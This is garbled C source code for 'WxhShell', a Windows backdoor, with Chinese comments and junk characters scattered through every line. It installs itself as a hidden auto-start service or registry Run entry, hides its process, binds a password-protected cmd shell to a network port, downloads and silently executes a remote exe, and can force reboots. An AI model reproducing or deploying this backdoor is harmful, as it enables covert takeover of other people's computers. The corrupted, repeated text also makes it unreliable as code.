= (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C$]5l;` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U-Af7qO #t"9TP if (!NtQueryInformationProcess) return 0; vqrBRlZ M*g2VyZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $x;tSJ)m~ if(!hProcess) return 0; Nf=C?`L )x$!K[= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,3w I~j= oS[W*\7'! CloseHandle(hProcess); [TRGIGtq H/cs_i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EsT0"{ if(hProcess==NULL) return 0; ggrI>vaw j G+T. HMODULE hMod; R19'|TJ char procName[255]; qJ\X~5{ unsigned long cbNeeded; Z7`5x B*9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fswZM\@ Eem 2qKj CloseHandle(hProcess); Ix( 6 i
FC"!23f if(strstr(procName,"services")) return 1; // 以服务启动 =^BqWC2~ o8w-$
Qb return 0; // 注册表启动 Nawp t% } $@_YdZ! l0gH(28K // 主模块 6tOP}X int StartWxhshell(LPSTR lpCmdLine) Vil@?Y" { <$"7~i/X SOCKET wsl; lKf Mp1 BOOL val=TRUE; @) int port=0; L=d$"Q struct sockaddr_in door; qv.[k<~a> 5?^]1P_ if(wscfg.ws_autoins) Install(); 0w^jls I|$'Q$m~ port=atoi(lpCmdLine); WEno+Z~=1' %0NL Rfp if(port<=0) port=wscfg.ws_port; ;])I>BT[ dz8-): WSADATA data; Bfbl#ZkyL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jIKBgsiF/ cYsR0# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @[n2dmj setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gBMta+<fE~ door.sin_family = AF_INET; 7^c2e*S door.sin_addr.s_addr = inet_addr("127.0.0.1"); kJ/+IGV^v door.sin_port = htons(port); A$/KP\0Y2 EJO.'vQ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4;?1Kb# closesocket(wsl); ?A|zRj{ return 1; <MRC%!. } )8:n}w oz Vpfs if(listen(wsl,2) == INVALID_SOCKET) { uRP
Ff77 closesocket(wsl); [.M return 1; baqn7k" } 3QH(4N Wxhshell(wsl);
}K?F7cD WSACleanup(); wyp{KIV STv(kQs return 0; \{kHSV%z EH(tUwY%{ } FSv1X cS4xe(n8 // 以NT服务方式启动
1U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S<*' ;{5~ { '=$TyiU DWORD status = 0; MdLj,1_T DWORD specificError = 0xfffffff; R j-jAH m^z,,t9 serviceStatus.dwServiceType = SERVICE_WIN32; /;+oz serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5Lw{0uLr serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D4d]3|/T serviceStatus.dwWin32ExitCode = 0; ?.8<- serviceStatus.dwServiceSpecificExitCode = 0; T)`gm{T serviceStatus.dwCheckPoint = 0; #uB[&GG}W serviceStatus.dwWaitHint = 0; Yi[4DfA .a {QA hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X@cSP7b if (hServiceStatusHandle==0) return; ?b5H
2W eVTO#R*'| status = GetLastError(); }&mj.hGv if (status!=NO_ERROR) {798=pC<. { AYt*'Zeg!s serviceStatus.dwCurrentState = SERVICE_STOPPED; ]Uu
aN8 serviceStatus.dwCheckPoint = 0; b"^\)|*4; serviceStatus.dwWaitHint = 0; Xp#~N_S$ serviceStatus.dwWin32ExitCode = status; /GyEV Cc serviceStatus.dwServiceSpecificExitCode = specificError; o94PI*. SetServiceStatus(hServiceStatusHandle, &serviceStatus); >;m{{nj return; (:JjQ`i } Ln:lC(
' O!/ekU|,r serviceStatus.dwCurrentState = SERVICE_RUNNING; ,b$z!dvhl serviceStatus.dwCheckPoint = 0; Ac
J>$L) serviceStatus.dwWaitHint = 0; 1p~5h(jI if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )mj<{Td` } l4zw]AYk+X ,eDu$8J9 // 处理NT服务事件,比如:启动、停止 <H!O:Mf_p VOID WINAPI NTServiceHandler(DWORD fdwControl) ~bWhth2* { O
3G:0xF switch(fdwControl) WBa /IM { xwi!:PAf,o case SERVICE_CONTROL_STOP: R<>tDwsZGa serviceStatus.dwWin32ExitCode = 0; z[*zuo serviceStatus.dwCurrentState = SERVICE_STOPPED; KA?v.s serviceStatus.dwCheckPoint = 0; G<|:605 serviceStatus.dwWaitHint = 0; ssPI$IRg! { &h\7^=s. SetServiceStatus(hServiceStatusHandle, &serviceStatus); _OLI%o } v3~FR,Kl return; {b[tA,
> case SERVICE_CONTROL_PAUSE: hw*1g m serviceStatus.dwCurrentState = SERVICE_PAUSED;
C[R`Ml break; +eC3?B8rN case SERVICE_CONTROL_CONTINUE: uC)Zs, _5 serviceStatus.dwCurrentState = SERVICE_RUNNING; zqY)dk break; 8+&gp$a$ case SERVICE_CONTROL_INTERROGATE: 2!BsEvB( break; 6oYIQ'hc }; / xs9.w8- SetServiceStatus(hServiceStatusHandle, &serviceStatus); .ByU } b22LT52 pcNSL'u+ // 标准应用程序主函数 kwOeHdV^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y^SyhG,V[ { ;c$@@l 7r[' // 获取操作系统版本 1EQvcw# OsIsNt=GetOsVer(); ;KL9oV!<f GetModuleFileName(NULL,ExeFile,MAX_PATH); p+vh[+yp C>NQ-w^ // 从命令行安装 oikxg!0S if(strpbrk(lpCmdLine,"iI")) Install(); ^:+Rg}]W^ zPHy2H$28 // 下载执行文件 [#>{4qY2 if(wscfg.ws_downexe) { W\%q}q2? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZzT&$J7]`{ WinExec(wscfg.ws_filenam,SW_HIDE); 8nodV 9 } )Y~xIj> wW^Zb if(!OsIsNt) { -IbbPuRq // 如果时win9x,隐藏进程并且设置为注册表启动 k},> ^qE HideProc(); O<>#>[ StartWxhshell(lpCmdLine); [t$4Tdd } ,&[7u9@ else CB6 o$U if(StartFromService()) TqAtcAurM // 以服务方式启动 (U _wp's StartServiceCtrlDispatcher(DispatchTable); qv$!\ T else H }B2A" // 普通方式启动 Jl_~_Z StartWxhshell(lpCmdLine); r,Ds[s)B v~f'K3fLp return 0; 95[wM6?J } bb}?h]a IqNpLh|[ rpSr^slr l^
Rm0t_ =========================================== JCNk\@0i* /,LfA2^_j{ /h7.oD8CU P2t_T'R} ydB$4ZB3[ )d:K:YXt " g#|oif9o obj!I7 #include <stdio.h> dHq# #include <string.h> McP~}"!^ #include <windows.h> :PUK6,"5]O #include <winsock2.h> 6e<^oH #include <winsvc.h> Gnk|^i;t #include <urlmon.h> A=y"x$%-_ vlu$!4I #pragma comment (lib, "Ws2_32.lib") ]x@~-I ) #pragma comment (lib, "urlmon.lib") L_k9g12 %E aE, #define MAX_USER 100 // 最大客户端连接数 hF.6}28U1 #define BUF_SOCK 200 // sock buffer 8""mp]o9 #define KEY_BUFF 255 // 输入 buffer !!*;4FK"q guE2THnz3D #define REBOOT 0 // 重启 2kVp_=c #define SHUTDOWN 1 // 关机 A4
5m)wQ Mc:bU #define DEF_PORT 5000 // 监听端口 3p&jLFphL ||XIWKF<n2 #define REG_LEN 16 // 注册表键长度 nEyIt&>9 #define SVC_LEN 80 // NT服务名长度 GQ[pG{_+ =LK}9ViH // 从dll定义API V~[:*WOX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L1{T
?aII typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aHC%19UN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9T?64t<Ju typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5uttv:@= 'bPk'pj9 // wxhshell配置信息 r@yD8 D \ struct WSCFG { ami09JHy int ws_port; // 监听端口 Dkw*Je#6PX char ws_passstr[REG_LEN]; // 口令 Z\' wm' int ws_autoins; // 安装标记, 1=yes 0=no PtqGX=u char ws_regname[REG_LEN]; // 注册表键名 8 URj1 W char ws_svcname[REG_LEN]; // 服务名 Fg4@On[,i char ws_svcdisp[SVC_LEN]; // 服务显示名 / gu3@@h char ws_svcdesc[SVC_LEN]; // 服务描述信息 !UcOl0"6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z%e|*GS{ int ws_downexe; // 下载执行标记, 1=yes 0=no 5
q65nF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >C# kqxfg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cQn)^jx= %Hwbw],kl8 }; "wINBya'M L+t[&1cW // default Wxhshell configuration S>#R_H<( struct WSCFG wscfg={DEF_PORT, s1=+:: "xuhuanlingzhe", . ,R4WA, 1, m8HYWzN "Wxhshell", A9;0y jae "Wxhshell", e#khl9j*bt "WxhShell Service", Wcn[gn< "Wrsky Windows CmdShell Service", [ f34a "Please Input Your Password: ", ^K;hn,R= 1, Pin/qp&Fa8 "http://www.wrsky.com/wxhshell.exe", "{ FoA3g| "Wxhshell.exe" yd*3)6= }; { *$9, i-.c=M // 消息定义模块 N~| t!G*9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CV3DMA char *msg_ws_prompt="\n\r? for help\n\r#>"; lhxdx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s!de2z char *msg_ws_ext="\n\rExit."; 8lb-}= char *msg_ws_end="\n\rQuit."; <xqba4O char *msg_ws_boot="\n\rReboot..."; { 8p\Y char *msg_ws_poff="\n\rShutdown..."; SK-W%t char *msg_ws_down="\n\rSave to "; @[v8}D @RVOXkVo char *msg_ws_err="\n\rErr!"; Q6x% char *msg_ws_ok="\n\rOK!"; [O1|75 CKd3w8; char ExeFile[MAX_PATH]; oCuV9dA. int nUser = 0; Hm4bN\% HANDLE handles[MAX_USER]; 2yxi= XWZ int OsIsNt; VDpxk$a DEtf(lW_ SERVICE_STATUS serviceStatus; {cR3.%wX SERVICE_STATUS_HANDLE hServiceStatusHandle; B6%&gXr\ !=[>r'+3 // 函数声明 /< QSe int Install(void); bjzx!OCpV int Uninstall(void); Bm}iU~(Z` int DownloadFile(char *sURL, SOCKET wsh); nh0&'hA int Boot(int flag); T VeJ6 void HideProc(void); q% EC int GetOsVer(void); 8[R1A int Wxhshell(SOCKET wsl); m8AAp1= void TalkWithClient(void *cs); L;yEz[#xaT int CmdShell(SOCKET sock); q~O>a0f0 int StartFromService(void); DY.58IHg1 int StartWxhshell(LPSTR lpCmdLine); s#P:6]Ar sUciFAb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U|?,N0%Z1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9I kUZW }"4roJ // 数据结构和表定义 3+9
U1:1[. SERVICE_TABLE_ENTRY DispatchTable[] = On%,l { )E-E0Hl>7 {wscfg.ws_svcname, NTServiceMain}, ;($1Z7j+ {NULL, NULL} wv^b_DR };
iRs V#s Bc[6*Y,%T // 自我安装 M2p<u-6
" int Install(void) Rcf=J){D6 { G#lg|# -# char svExeFile[MAX_PATH]; X+at%L= HKEY key; '=#5(O%pp strcpy(svExeFile,ExeFile); O9e.=l Abf1"#YImy // 如果是win9x系统,修改注册表设为自启动 >[Rz
<yv if(!OsIsNt) { VDa|U9N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T V;BNCg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TvM24Orct RegCloseKey(key); +?V0:Kz] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [+gzdLad RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rKp1%S1 RegCloseKey(key); 4+Ti7p06&\ return 0; @d)LRw.I } ohsH 2]C } qiU5{} } :k N5?t= else { d$[8w/5Of BSDk9Oc // 如果是NT以上系统,安装为系统服务 7E\gxQ(vU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WgPgG0VJE if (schSCManager!=0) u~}%1 { _:%U_U SC_HANDLE schService = CreateService !0Nf9 ( Mj'lASI schSCManager, HamEIL-l. wscfg.ws_svcname, 4#h?Wga wscfg.ws_svcdisp, +5-fk>o SERVICE_ALL_ACCESS, ZpWu,1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i@6wO?Tv SERVICE_AUTO_START, {82rne`[ SERVICE_ERROR_NORMAL, MWhwMj!:m svExeFile, 1|/'"9v NULL, Rf:<-C0T NULL, J#(,0h NULL, _.=`>%, NULL, [TEcg^ NULL Z(UD9wY5m ); 4|F#gK5E if (schService!=0) 8f-:d] { ;dOs0/UM& CloseServiceHandle(schService); Mciq-c) CloseServiceHandle(schSCManager); Y}/c
N\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gVA; `< strcat(svExeFile,wscfg.ws_svcname); =)*JbwQ
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .+vd6Uc5a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XNlhu^jh RegCloseKey(key); %A2`&:ip return 0; x<
S\D& } DB~MYOX~ } y;:]F|%< CloseServiceHandle(schSCManager); ((cb4IX } 6Hn)pD#U } m#MlH=- agW9Go_F[ return 1; B52H(sm } o\60n pUhc3L // 自我卸载 avBu a6i' int Uninstall(void) C#$6O8O { P\T| [%E' HKEY key; M8zE3;5 !EM#m@kZ{ if(!OsIsNt) { `*d{PJTv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K%PxA#P} RegDeleteValue(key,wscfg.ws_regname); jE*Ff&]%m RegCloseKey(key); ] 9@X?q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 KB7yG-#6 RegDeleteValue(key,wscfg.ws_regname); #B}Qt5w RegCloseKey(key); Jh^8xI,`C return 0; _4!{IdR } &SrGh$:X } UM`nq;> } .HCaXFW else { 6}STp_x obYn&\6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KK$ a;/ if (schSCManager!=0) [
t$AavU. { 4(8<w cL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9fMSAB+c% if (schService!=0) .?Auh2nr { Q]T BQ& if(DeleteService(schService)!=0) { qg)qjBQwA CloseServiceHandle(schService); 0#
l#,Y6#I CloseServiceHandle(schSCManager); |i u2&p > return 0; k#?|yP: } P{Lg{I_w.B CloseServiceHandle(schService); SXh?U,5u } %Gu][_.L CloseServiceHandle(schSCManager); p_9g|B0D } lZvS0JS } C/y(E|zC$ zU
b8NOi return 1; hMWo\qM } ?DRR+n _ X?R
|x[ // 从指定url下载文件 :t%)5:@A int DownloadFile(char *sURL, SOCKET wsh) dEG ]riO { Fn> <q: HRESULT hr; Uh%6LPg^ char seps[]= "/"; ]'e AO char *token; KD=bkZ& char *file; iU XM(] char myURL[MAX_PATH]; >+SZd7p char myFILE[MAX_PATH]; >"b[r 8(^
,r#Gy strcpy(myURL,sURL); F0&O/-w&u token=strtok(myURL,seps); N2% :h;tf while(token!=NULL) ]$|st^Q { S
QSA%B$< file=token; WDvV
LU` token=strtok(NULL,seps); Pfk{ =y } ? osfL %b9fW GetCurrentDirectory(MAX_PATH,myFILE); ]xYa yN!n strcat(myFILE, "\\"); X+%u(>> strcat(myFILE, file); ivD^HhG send(wsh,myFILE,strlen(myFILE),0); Qi"'bWX@ send(wsh,"...",3,0); BJ2Q 2WW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d9|T=R if(hr==S_OK) ve~C`2=; return 0; 8lpzSJP4k else qJURPK return 1; v?}pi .5NZf4:C } SKW;MVC TGtyJ3x\ // 系统电源模块 ^7<[}u;qF int Boot(int flag) -? Ejbko { ,uO?;!t HANDLE hToken; LjCykk TOKEN_PRIVILEGES tkp; <0>[c<{V< ff[C' if(OsIsNt) { j37: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p8_2y~! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); juXC?2c tkp.PrivilegeCount = 1; |w4(rs- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (]}XLMi,|! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $M-NR||k if(flag==REBOOT) { Z<I[vp6{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q+lbN return 0; ;NBT 4 } 7fUi?41XA else { I IYL A( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AsD1-$ return 0; c9|I4=_K } "`[ $&:~ } `P#8(GU else { s
8Jj6V if(flag==REBOOT) { y6bjJ} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ty.drM return 0; }\U0[x#q } 5qeT4|
Ol else { ;*_I,|A:Xr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9wzg{4/-$ return 0; V54q"kP,@. } SK}HXG{? } 2=Jmi?k 7f[8ED[4 return 1; z(#=tC| } [rc'/@L UJ
O]sD`i // win9x进程隐藏模块 0:s8o@} void HideProc(void) g:;Ya?5N { !\3}R25 Qf"6PJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n|J.)E. if ( hKernel != NULL ) {rs6"X^ { Gi;9 S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RsR] T]4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7L1\1E:! FreeLibrary(hKernel); gW/QFZjY } 2Qw)-EB #wGQv return; AUu5g } >c&4_?d&,A H7y&N5.V // 获取操作系统版本 /E;;j9 int GetOsVer(void) :jl
u { ]j72P OSVERSIONINFO winfo; ,.J<.#D3J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R%qX_m\0 GetVersionEx(&winfo); (R,NV3m?w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A>H*`{} return 1; $>nkGb%Kp else (/To?` return 0; wVlSjk } fMgcK$ 4V!1/w // 客户端句柄模块 zsHG=Ee* int Wxhshell(SOCKET wsl) M}R@ K;%
{ 8+=p8e~An SOCKET wsh; nomu$|I struct sockaddr_in client; InAU\! ew DWORD myID; yp( ?1 b/T20F{W\o while(nUser<MAX_USER) e?_c[`sg { .ruqRGe/ int nSize=sizeof(client); cC7"J\+r* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #rqyy0k0'h if(wsh==INVALID_SOCKET) return 1; S(@*3]!q _G_ &Me0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kyp U&F if(handles[nUser]==0) tn(f rccy closesocket(wsh); c_R)P,P else 6z1aG9G nUser++; #nxER } U`?zC~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o'9OPoof:. m$j
n5: return 0; eA3`]XP.`b } 5d)'`hACe ;5,`Jpca // 关闭 socket QwKky ^A void CloseIt(SOCKET wsh) =1V>Vd?8. { Ak<IHp^Q closesocket(wsh); GGFar\
EzW nUser--; ~{52JeUc P ExitThread(0); +!mNm?H[! } xCDA1y;j Fh*q]1F // 客户端请求句柄 XHwZ+=v void TalkWithClient(void *cs) HV#?6,U} { O>)n*OsS G2U5[\ SOCKET wsh=(SOCKET)cs; !UUmy% 9 char pwd[SVC_LEN]; awj} K char cmd[KEY_BUFF]; :)^#
xE( char chr[1]; &>+I7Ts] int i,j; 6qz!M ,f-T1v" while (nUser < MAX_USER) { jQH5$ X_^_r{ if(wscfg.ws_passstr) { $1Q3Y'Q9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9RCB$Ka6X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q?e16M //ZeroMemory(pwd,KEY_BUFF); o O{|C&A i=0; )<H
91:. while(i<SVC_LEN) { 's56L,^: 1I:"0("} // 设置超时 ZmYa.4'L fd_set FdRead; 4iL.4Uj{N struct timeval TimeOut; ~T;ajvJ FD_ZERO(&FdRead); _oMs
`"4K FD_SET(wsh,&FdRead); 5JXzfc9rL TimeOut.tv_sec=8; u"Hd55"& TimeOut.tv_usec=0; /
y":/"h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :$X4#k< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A{{q'zb! q\z=z$VR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v4Fnh`{ pwd=chr[0]; 79<9}<T if(chr[0]==0xd || chr[0]==0xa) { (e bBH pwd=0; FrAqTz break; .MzP}8^ } #%}u8\q i++; p;c_<>ws-Y } Z!s>AgH9u goBKr: &]w // 如果是非法用户,关闭 socket f:JYG]E & if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )ZQ9a4% } OyG_thX 7E\K!v_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jl 30\M7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sJjl)Qs)T ECE{xoc while(1) { mPw56> 6qHvq
A, ZeroMemory(cmd,KEY_BUFF); Y9I #Q 1o5Y9#7 // 自动支持客户端 telnet标准 x1 &b@u j=0; {W:)oh> while(j<KEY_BUFF) { dl3LDB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /!&b'7y cmd[j]=chr[0]; c?V*X- if(chr[0]==0xa || chr[0]==0xd) { ]y)R C-N cmd[j]=0; ]<o.aMdV break; (x@i,Ba@ } QB.*R? A j++; ;?HZ,"^I } AT'_0>x8 'nj&}A' // 下载文件 fjK]m.w if(strstr(cmd,"http://")) { 4LKs'$:A= send(wsh,msg_ws_down,strlen(msg_ws_down),0); F~d7;x=g if(DownloadFile(cmd,wsh)) EU&3Pdnd send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,nu7r1} else ^%'tD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >w]k3MC } 3Av(|<cR else { <>5:u OV@h$fg switch(cmd[0]) { l]58P Z+h70,| // 帮助 r* /XB0 case '?': { }T1Xds8w)t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z7us*8X{ break; nm:let7GB } V~uA(3\U // 安装 e2=,n6N]c case 'i': { - R8!"~o if(Install()) =ZJ?xA8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); U~B}vt else =Gg)GSL^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2I(@aB+ break; SUnmp }
r1az=$ // 卸载 Cak/#1 case 'r': { C&s }m0R if(Uninstall()) |uBot#K| send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^="T^J else KHs{/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mbi+Vv- break; _ry En } \qd)l // 显示 wxhshell 所在路径 pi l*/&pB case 'p': { h
C`p<jp/ char svExeFile[MAX_PATH]; '14l )1g. strcpy(svExeFile,"\n\r"); Gp3t?7S{T strcat(svExeFile,ExeFile); %_J/&{6G send(wsh,svExeFile,strlen(svExeFile),0); YT%SCaU break; \$\(9!= } l<MCmKuYp // 重启 hb8@br case 'b': { K&P{2Hndr send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *~oDP@[S if(Boot(REBOOT)) -Fw4;&> send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHo?Rw!. else { RKJWLofX& closesocket(wsh); &= yqWW? ExitThread(0); eiSO7cGy } d8q$&(]< break; ]H9HO2wGQ } 4.kkxQR7r // 关机 Y;5^w=V case 'd': { t T/*ZzMq# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^~1@HcJo if(Boot(SHUTDOWN)) }d*sWSPu( send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[5#g3 else { zB7dCw closesocket(wsh); @_(@s*4W ExitThread(0); J<$'^AR9"q } 4 }YT@={g} break; (pxz#B4 } &b]KMAo3 // 获取shell *CD=cmdD* case 's': { {Ll8@'5 CmdShell(wsh); x)sDf!d4bi closesocket(wsh); $bC!T ExitThread(0); zm S-s\$, break; Mn{Rg>X } j9fL0$+FI // 退出 zs^\zCb8 case 'x': { 8lb
`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ::b;4QL CloseIt(wsh); fq!6#Usf;i break; vlKKPS } Z5^UF2`Q // 离开 |2]WA'q case 'q': { WaK{/6?T, send(wsh,msg_ws_end,strlen(msg_ws_end),0); }Mlz\'{ closesocket(wsh); ]mU*Y:< WSACleanup(); L=Jk"qWV0 exit(1); dz.MH break; 9-<V%eNX } lVBy&f } r
($t.iS } ',ybHW%D%i ba1QFzN // 提示信息 Oua/NF) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jM@I"JZb } %;B'>$O } &T.P7nJ= IIEU{},}z return; /PuWJPy; } L ]'CA^N 2%%U)|39mB // shell模块句柄 aRKG)0= int CmdShell(SOCKET sock) 1{glRY' { e ^&8x STARTUPINFO si; g}j>;T ZeroMemory(&si,sizeof(si)); 0#nXxkw si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n>+W]I&E si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [5:7WqB PROCESS_INFORMATION ProcessInfo; @wZ_VE7B char cmdline[]="cmd"; sbhEZ#7# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -~aEqj#? return 0; juZ3"" } _NN{Wk/3w P@![P Ij // 自身启动模式 ]h8V{%H int StartFromService(void)
W/QOG&g { g2_df3Q typedef struct ! \Kh\ { 71ybZ 0 DWORD ExitStatus; Hx0,kOh) DWORD PebBaseAddress; 4T^WRS DWORD AffinityMask; R63d
`W DWORD BasePriority; nvs7s0@Fqe ULONG UniqueProcessId; a5S/
O;ry ULONG InheritedFromUniqueProcessId; B{KD ] } PROCESS_BASIC_INFORMATION; WU@,1.F: PiQs><FK8 PROCNTQSIP NtQueryInformationProcess; v wD(J.; DKCy h` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h--!pE+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R;ug+N IbQ~f+y&2 HANDLE hProcess; Q1B!W PROCESS_BASIC_INFORMATION pbi; |0 %UM} Jxp'.oo[ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !XC7FUO if(NULL == hInst ) return 0; ?P]md9$(+e n-.k&B{a g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d)sl)qt}0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;VBfzFH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^}L$[P 5ZxBmQ if (!NtQueryInformationProcess) return 0; )gF9D1eA %QbrVl+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [uHI
6Q# if(!hProcess) return 0; 5q>u
}J zvj >KF|y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vs{sB*: /q]@|5I CloseHandle(hProcess); FX 3[U+ xI8*sTx
6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |7fBiVo if(hProcess==NULL) return 0; XITQB|C??$ *?'T8yf^ HMODULE hMod; B9-=.2.WU char procName[255]; s[bKGn@ unsigned long cbNeeded; S_6;e| _ji%BwJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4v
